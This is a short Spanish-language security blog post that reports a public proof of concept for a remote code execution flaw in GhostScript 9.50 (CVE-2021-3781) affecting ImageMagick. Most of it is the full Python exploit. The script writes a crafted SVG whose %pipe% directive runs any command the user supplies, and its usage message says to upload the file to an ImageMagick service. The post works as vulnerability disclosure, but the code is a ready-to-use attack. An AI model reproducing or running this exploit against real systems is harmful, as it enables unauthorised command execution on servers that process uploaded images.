Ghostscript es un paquete que, desde 1988, se usa para la rasterización o reproducción de archivos de descripción de página, para la visualización o impresión de páginas de documentos, y la conversión entre archivos PostScript y PDF. Pero no creáis que sólo se usa en workstations, también es ampliamente utilizado en muchos servidores y en toolkits para convertir y procesar imágenes subidas, como el popular ImageMagick.
Recientemente el investigador Nguyen The Duc publicó en Github una PoC funcional para explotar un RCE en GhostScript-9.50 (CVE-2021-3781) que crea un archivo SVG especialmente modificado que escapa del proceso de procesamiento de imágenes y ejecuta código malicioso en el sistema operativo subyacente.
#from ducnt import <3
import sys
def genareate_payload(_cmd,_filename):
_payload = """<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <hui><desc>copies (%pipe%/tmp/;{}) (r) file showpage 0 quit </desc> <image href="epi:/proc/self/fd/3" /> <svg width="1px" height="1px" /> </hui>""".format(_cmd)
f = open(_filename,"w+").write(_payload)
return True
def main():
if len(sys.argv) < 3:
print "Usage: python IM-RCE-via-GhostScript-9.5.py <CMD> <Exploit-File>"
exit()
_cmd = sys.argv[1]
_filename = sys.argv[2]
genareate_payload(_cmd,_filename)
print "Generating malicious payload successfully, upload it to Imagemagick service or trigger local via bash cmd: $ convert <Exploit-File> <Output-File>"
if __name__ == "__main__":
main()
Lo bueno (o lo malo según se mire) es que por ejemplo podemos ver rápido los resultados con la configuración por defecto de ImageMagick en Ubuntu 20.04.
PoC Github: https://github.com/duc-nt/RCE-0-day-for-GhostScript-9.50
Comentarios
Publicar un comentario